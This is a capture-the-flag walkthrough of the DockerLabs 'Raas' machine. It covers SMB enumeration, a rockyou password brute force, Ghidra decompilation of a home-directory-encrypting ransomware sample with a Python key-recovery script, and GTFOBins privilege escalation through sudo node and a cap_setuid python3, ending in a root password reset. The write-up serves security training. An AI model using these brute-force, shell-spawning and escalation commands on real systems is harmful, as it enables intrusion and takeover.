Skip to main content

Raas

export TARGET_IP=target_ip_address
sudo nmap -p0- $TARGET_IP
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds

The scan revealed open ports associated with SSH (22/TCP) and SMB (139/TCP, 445/TCP). The presence of ports 139 and 445 suggests the system is likely configured for file and/or printer sharing.

SMB Enumeration

Share Enumeration with smbclient

The smbclient tool was utilized to attempt a connection with a null session (no authentication) to list available shares:

smbclient -L //$TARGET_IP -N

Results:

Sharename       Type      Comment
--------- ---- -------
print$ Disk Printer Drivers
ransomware Disk
IPC$ IPC IPC Service (dockerlabs server (Samba, Ubuntu))

Three shares were discovered:

  • print$: A common share for printer drivers.
  • ransomware: A disk share with an intriguing name, potentially indicating a honeypot or a specific testing environment, but could be worth investigating later.
  • IPC$: The Inter-Process Communication share, typically used for remote administration and not usually accessible with a null session.

Attempting Access to Shares

An attempt was made to connect to the IPC$ share using smbclient:

smbclient //$TARGET_IP/IPC$ -N

Results:

smb: \> ls
NT_STATUS_CONNECTION_REFUSED listing \*

User Enumeration with rpcclient

The rpcclient tool was employed to query the Remote Procedure Call (RPC) service and attempt user enumeration:

rpcclient -U "" -N $TARGET_IP

Results:

rpcclient $> enumdomusers
user:[patricio] rid:[0x3e8]
user:[calamardo] rid:[0x3ea]
user:[bob] rid:[0x3e9]

Brute-Force Attack (netexec)

First, create a text file containing the usernames you enumerated, one user per line:

patricio
calamardo
bob

You'll need a password list. You can start with a small, commonly used password list for testing or use a larger one like rockyou.txt.

netexec smb 172.17.0.2 -u users.txt -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding

Results:

...
SMB 172.17.0.2 445 DOCKERLABS [-] DOCKERLABS\patricio:pretty STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 DOCKERLABS [-] DOCKERLABS\calamardo:pretty STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 DOCKERLABS [-] DOCKERLABS\bob:pretty STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 DOCKERLABS [+] DOCKERLABS\patricio:basketball

The brute-force attack was successful! Valid credentials were discovered for the user patricio:

  • Username: patricio
  • Password: basketball

Further Enumeration

smbmap -u 'patricio' -p 'basketball' -H 172.17.0.2
Disk                                                    Permissions     Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
ransomware READ ONLY
IPC$ NO ACCESS IPC Service (dockerlabs server (Samba, Ubuntu))
smbclient //172.17.0.2/ransomware -U 'patricio%basketball'
smb: \> ls
. D 0 Sun Jan 5 16:14:21 2025
.. D 0 Sun Jan 5 16:14:21 2025
nota.txt N 379 Sun Jan 5 11:28:19 2025
private.txt N 48 Sun Jan 5 11:27:26 2025
pokemongo N 17592 Sat Jan 4 12:25:18 2025
smb: \> recurse ON # This tells `smbclient` to operate recursively on directories.
smb: \> prompt OFF #This tells `smbclient` to not ask for confirmation to get each file.
smb: \> mget * # download multiple files

Analysis of Files:

  • nota.txt: This file provides context and hints:

    • Patricio attempted to decrypt files affected by ransomware that Bob ran.
    • Patricio is sharing the ransomware binary (pokemongo) with Calamardo for help.
    • The most urgent file to decrypt is private.txt.
  • private.txt: This file is likely encrypted by the ransomware, as indicated by the garbled content.

    W�R����V<$¶~�hH"~�g��v��,T�^���(����uh�
  • pokemongo: This is the ransomware binary itself, identified as a 64-bit ELF executable.

    file pokemongo
    > pokemongo: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6f1b5eb6016808f7847871479cf0e8898f32f67a, for GNU/Linux 3.2.0, not stripped

Reverse Engineering with Ghidra

undefined8 main(void)

{
int iVar1;
undefined8 local_438;
undefined8 local_430;
undefined local_428 [32];
char local_408 [1024];

gethostname(local_408,0x400);
iVar1 = strcmp(local_408,"dockerlabs");
if (iVar1 == 0) {
iVar1 = file_exists("/opt/ak.pk1");
if ((iVar1 != 0) && (iVar1 = file_exists("/bin/12bn"), iVar1 != 0)) {
recon(local_428);
local_438 = 0x3837363534333231;
local_430 = 0x3635343332313039;
encrypt_files_in_directory("/home/",local_428,&local_438);
return 0;
}
puts("Ten cuidado con lo que ejecutas!");
}
else {
puts("Ten cuidado con lo que ejecutas!");
}
return 1;
}
void recon(undefined4 *param_1)

{
size_t sVar1;

*param_1 = 0x70713079;
*(undefined *)(param_1 + 1) = 0;
sVar1 = strlen((char *)param_1);
*(undefined4 *)((long)param_1 + sVar1) = 0x62786a66;
*(undefined2 *)((undefined4 *)((long)param_1 + sVar1) + 1) = 100;
sVar1 = strlen((char *)param_1);
*(undefined4 *)((long)param_1 + sVar1) = 0x34303937;
*(undefined2 *)((undefined4 *)((long)param_1 + sVar1) + 1) = 0x37;
sVar1 = strlen((char *)param_1);
*(undefined4 *)((long)param_1 + sVar1) = 0x65393239;
*(undefined2 *)((undefined4 *)((long)param_1 + sVar1) + 1) = 0x77;
sVar1 = strlen((char *)param_1);
*(undefined8 *)((long)param_1 + sVar1) = 0x66336461716d6f30;
*(undefined *)((undefined8 *)((long)param_1 + sVar1) + 1) = 0;
sVar1 = strlen((char *)param_1);
*(undefined4 *)((long)param_1 + sVar1) = 0x63736734;
*(undefined2 *)((undefined4 *)((long)param_1 + sVar1) + 1) = 0x6c;
return;
}
void encrypt_files_in_directory(char *param_1,undefined8 param_2,undefined8 param_3)

{
int iVar1;
int extraout_EAX;
stat local_4d8;
char local_448 [1036];
int local_3c;
void *local_38;
char *local_30;
size_t local_28;
FILE *local_20;
dirent *local_18;
DIR *local_10;

local_10 = opendir(param_1);
if (local_10 == (DIR *)0x0) {
perror("opendir");
}
else {
while( true ) {
local_18 = readdir(local_10);
if (local_18 == (dirent *)0x0) break;
snprintf(local_448,0x400,"%s/%s",param_1,local_18->d_name);
iVar1 = stat(local_448,&local_4d8);
if (iVar1 == 0) {
if ((local_4d8.st_mode & 0xf000) == 0x8000) {
local_20 = fopen(local_448,"r+b");
if (local_20 == (FILE *)0x0) {
perror("fopen");
}
else {
fseek(local_20,0,2);
local_28 = ftell(local_20);
fseek(local_20,0,0);
local_30 = (char *)malloc(local_28);
local_38 = malloc(local_28 + 0x10);
if ((local_30 == (char *)0x0) || (local_38 == (void *)0x0)) {
perror("malloc");
fclose(local_20);
}
else {
fread(local_30,1,local_28,local_20);
encrypt(local_30,(int)local_28);
local_3c = extraout_EAX;
fseek(local_20,0,0);
fwrite(local_38,1,(long)local_3c,local_20);
free(local_30);
free(local_38);
fclose(local_20);
printf("Encriptado: %s\n",local_448);
}
}
}
else if ((local_4d8.st_mode & 0xf000) == 0x4000) {
iVar1 = strcmp(local_18->d_name,".");
if (iVar1 != 0) {
iVar1 = strcmp(local_18->d_name,"..");
if (iVar1 != 0) {
encrypt_files_in_directory(local_448,param_2,param_3);
}
}
}
}
}
closedir(local_10);
}
return;
}
void encrypt(char *__block,int __edflag)

{
int iVar1;
EVP_CIPHER *cipher;
uchar *in_RCX;
uchar *in_RDX;
uchar *in_R8;
int local_18;
int local_14;
EVP_CIPHER_CTX *local_10;

local_10 = EVP_CIPHER_CTX_new();
if (local_10 == (EVP_CIPHER_CTX *)0x0) {
handleErrors();
}
cipher = EVP_aes_256_cbc();
iVar1 = EVP_EncryptInit_ex(local_10,cipher,(ENGINE *)0x0,in_RDX,in_RCX);
if (iVar1 != 1) {
handleErrors();
}
iVar1 = EVP_EncryptUpdate(local_10,in_R8,&local_18,(uchar *)__block,__edflag);
if (iVar1 != 1) {
handleErrors();
}
local_14 = local_18;
iVar1 = EVP_EncryptFinal_ex(local_10,in_R8 + local_18,&local_18);
if (iVar1 != 1) {
handleErrors();
}
local_14 = local_14 + local_18;
EVP_CIPHER_CTX_free(local_10);
return;
}
  • The goal of this analysis is to reverse-engineer a ransomware binary (pokemongo) to recover encrypted files.
  • (Spoiler) The binary uses AES-256-CBC for encryption, requiring a 32-byte key and a 16-byte IV.
  • The ransomware binary uses an x86-64 architecture, which stores multi-byte data in little-endian format. In this format:
    • The least significant byte is stored first in memory.
    • Example: The integer 0x12345678 in little-endian appears as 78 56 34 12 in memory.
    • For strings, "car" ('c' = 0x63, 'a' = 0x61, 'r' = 0x72) is stored as 0x72 0x61 0x63 or "rac".

Understanding this is crucial, as it affects how we interpret values extracted from the binary.

Understanding the Ransomware

  1. Targeted Attack: The main function checks for specific conditions before executing the core encryption logic. These are:

    • The hostname must be "dockerlabs".
    • The files /opt/ak.pk1 and /bin/12bn must exist.

    This suggests a targeted attack, possibly customized for a particular environment or lab setup.

  2. Key and IV Extraction:

    • Initialization Vector (IV): The variables local_438 and local_430 are assigned hexadecimal values in main. Concatenating and reversing these values (due to little-endian representation) yields 1234567890123456, which is a 16-byte (128-bit) value, aligning with the required size for an AES IV.

    • Encryption Key: The recon function builds a string piece by piece. Reversing the order of these pieces results in the 32-byte (256-bit) string: l 4gsc f3daqmo0 w e929 40977 d fjxb y0qp. This fits the requirement for an AES-256 key.

  3. Encryption Process (encrypt_files_in_directory):

    • Recursive Directory Traversal: The function recursively traverses the directory structure starting from /home/.
    • File Filtering: It only encrypts regular files (not directories or special files) and skips the current (.) and parent (..) directory entries.
    • File Handling: For each file:
      1. It opens the file in read and write binary mode (r+b).
      2. Reads the entire file content into memory.
      3. Calls the encrypt function to perform the encryption.
      4. Overwrites the original file with the encrypted data.
      5. Prints "Encriptado: [filename]" to the console.
  4. Encryption Details (encrypt):

    • AES-256-CBC: The EVP_aes_256_cbc() function indicates that the encryption algorithm used is AES-256 in CBC (Cipher Block Chaining) mode.
    • OpenSSL EVP: The code uses the OpenSSL's EVP (Envelope) interface for encryption, which is a high-level API for cryptographic operations.
    • Key and IV Usage: The EVP_EncryptInit_ex function initializes the encryption context with the key and IV.
    • Encryption Steps:
      1. EVP_EncryptUpdate encrypts the main portion of the data.
      2. EVP_EncryptFinal_ex handles any remaining data and padding.

Little-Endian Explained

Little-endian is a byte ordering system where the least significant byte of a multi-byte data type (like an integer or a pointer) is stored at the lowest memory address.

Example:

Let's consider the 4-byte (32-bit) hexadecimal number 0xA1B2C3D4.

  • Memory Address: Assume this number is stored starting at memory address 0x1000.

  • Little-Endian: In little-endian format, the bytes would be stored as follows:

    Memory AddressByte Value
    0x1000D4
    0x1001C3
    0x1002B2
    0x1003A1

    Notice that the least significant byte (D4) is stored at the lowest address (0x1000), and the most significant byte (A1) is at the highest address (0x1003).

Impact on Strings and Reversing:

When a string is represented as an array of characters (bytes), the little-endian order will be reversed if you are reading these bytes from the lowest to the highest address, like the binary or a debugger do. For instance, the string "ABC" with ASCII values A=65=0x41, B=66=0x42, C=67=0x43 is stored in memory as:

Memory AddressByte Value
0x200043
0x200142
0x200241

Here, the byte for 'C' (0x43) is stored first (at 0x2000), followed by 'B' (0x42 at 0x2001), and then 'A' (0x41 at 0x2002). If you read from lower to higher addresses, you will get the string in reversed order. This is why, in the recon function, when you're reconstructing the key from individual pieces stored in little-endian format, you need to reverse the order to get the correct key. The same for when obtaining the Initialization Vector.

Python Decryption Script

python3 -m venv venv
source venv/bin/activate
pip install pycryptodome
python3 decrypt.py
cat decrypted_file.bin
> las credenciales ssh son: bob:56000nmqpL
decrypt.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Define the key and IV (Initialization Vector)
KEY = b'y0qpfjxbd79047929ew0omqad3f4gscl'
IV = b'1234567890123456'

# File paths
INPUT_FILE = 'private.txt'
OUTPUT_FILE = 'decrypted_file.bin'

def decrypt_file(input_path, output_path, key, iv):
"""
Decrypts an AES-256-CBC encrypted file.

Args:
input_path (str): Path to the encrypted file.
output_path (str): Path to save the decrypted file.
key (bytes): 32-byte encryption key.
iv (bytes): 16-byte initialization vector.

Returns:
None
"""
try:
# Read the encrypted data
with open(input_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()
print(f"Encrypted data read ({len(encrypted_data)} bytes).")

# Create the AES cipher
cipher = AES.new(key, AES.MODE_CBC, iv)

# Decrypt the data and remove padding
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

# Write the decrypted data to the output file
with open(output_path, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)
print("Decryption completed successfully. Decrypted data saved to:", output_path)

except ValueError as error:
print(f"Decryption error: {error}")
except FileNotFoundError:
print(f"Error: File not found at '{input_path}'.")
except Exception as e:
print(f"An unexpected error occurred: {e}")

if __name__ == "__main__":
# Call the decrypt function
decrypt_file(INPUT_FILE, OUTPUT_FILE, KEY, IV)

Privilege Escalation

After successfully gaining initial access as the user bob with the credentials obtained from decrypting private.txt, our next goal is to elevate privileges to gain higher levels of access within the system, ultimately aiming for root (administrator) privileges.

Step 1: Enumerating Sudo Permissions

The first step in privilege escalation is often to check what commands the current user can run with elevated privileges using sudo.

ssh bob@$TARGET_IP
sudo -l

Output:

Matching Defaults entries for bob on dockerlabs:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bob may run the following commands on dockerlabs:
(calamardo) NOPASSWD: /bin/node

Explanation:

  • sudo -l lists the allowed (and forbidden) commands for the invoking user (in this case, bob) on the current host.
  • The output shows that bob can run /bin/node as the user calamardo without needing a password (NOPASSWD). This is a significant misconfiguration that we can exploit.

Step 2: Exploiting Node.js for Privilege Escalation (calamardo)

Leveraging GTFOBins:

Looking up node on GTFOBins (https://gtfobins.github.io/) reveals that if it can be run with sudo, it can be used to spawn a shell with the privileges of the target user.

Exploitation:

We use the following command to spawn a bash shell as calamardo:

sudo -u calamardo /bin/node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'

Explanation:

  • sudo -u calamardo: Executes the command as the user calamardo.
  • /bin/node: The path to the Node.js binary.
  • -e: This flag tells Node.js to evaluate the following string as JavaScript code.
  • require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]}): This is the Node.js code that does the following:
    • require("child_process"): Loads the child_process module, which allows spawning new processes.
    • .spawn("/bin/bash", {stdio: [0, 1, 2]}): Spawns a new process, executing /bin/bash (a shell).
    • {stdio: [0, 1, 2]}: This is crucial. It connects the standard input (0), standard output (1), and standard error (2) of the spawned shell to the current terminal. This allows us to interact with the shell.

We are now operating as the user calamardo!

Step 3: Finding Further Credentials (patricio)

Now, while operating as calamardo, we explore the user's home directory and files for any clues or misconfigurations.

Discovery:

While examining calamardo's .bashrc file, we find a comment containing what appears to be credentials:

# Credentials for Patricio: Jap0n16ydcbd***

Explanation:

  • .bashrc is a shell script that Bash runs whenever it is started interactively. It's often used to set up user-specific configurations.
  • Storing credentials in a plain text comment within a configuration file is a severe security oversight.

Step 4: Escalating to Patricio

With the newly found credentials, we can attempt to log in as patricio:

ssh patricio@$TARGET_IP

We are now logged in as patricio!

Step 5: Enumerating Capabilities - Python3

After gaining access as patricio, the next logical step is to assess potential privilege escalation paths. One valuable technique is to examine file capabilities.

Understanding Capabilities:

Capabilities are a more granular way of managing privileges in Linux than the traditional "all or nothing" approach of root. They allow specific elevated privileges to be assigned to individual executables.

Enumeration:

The getcap command is used to check for capabilities set on files. We use it to inspect patricio's home directory.

getcap .ssh/python3

Output:

.ssh/python3 cap_setuid=ep

Explanation:

  • getcap: This command displays the capabilities set on a file.
  • .ssh/python3: This is the file we're checking. It seems patricio has a custom Python installation within their .ssh directory. This is unusual and warrants closer inspection.
  • cap_setuid=ep: This is the crucial part.
    • cap_setuid: This capability allows a process to change its user ID (UID). This effectively enables it to become another user, including root (UID 0).
    • ep:
      • e (effective): The capability is in the effective set, meaning the process can use it immediately.
      • p (permitted): The capability is in the permitted set, meaning the process can add it to its effective set.

Significance:

The cap_setuid capability on a Python executable within a user's home directory is a major security vulnerability. It essentially allows that user (patricio in this case) to become root.

Step 6: Exploiting Capabilities for Root Access

Leveraging GTFOBins (Again):

GTFOBins has an entry for Python that describes how to exploit the cap_setuid capability.

Exploitation:

We execute the following command:

.ssh/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Explanation:

  • .ssh/python3: We run the Python interpreter that has the cap_setuid capability.
  • -c: This flag tells Python to execute the following string as a Python script.
  • import os: Imports the os module, which provides functions for interacting with the operating system.
  • os.setuid(0): This is the core of the exploit. It uses the setuid() function from the os module to set the user ID to 0, which is the UID of the root user. Because the Python binary has the cap_setuid capability, it's permitted to do this.
  • os.system("/bin/sh"): This executes the /bin/sh shell. Since the process is now running as root (UID 0), this spawns a root shell.

Step 7: Full Root Privilege Escalation

passwd root

Explanation:

We've achieved a partial root shell, meaning we are currently acting as the root user but might not have a fully initialized root environment. The prompt likely indicates we are root (#).

To ensure complete and persistent root access, we use the passwd command to set a new password for the root account. This step is not always strictly necessary but is good practice to guarantee full control.

  • passwd root: This command changes the password for the root user.

Verification:

After setting the root password, it's good practice to exit the current shell and then try logging in directly as root using su or ssh to ensure you have full root privileges:

exit
su root

Enter the new root password you just set. If successful, you will have a root shell, confirming complete privilege escalation.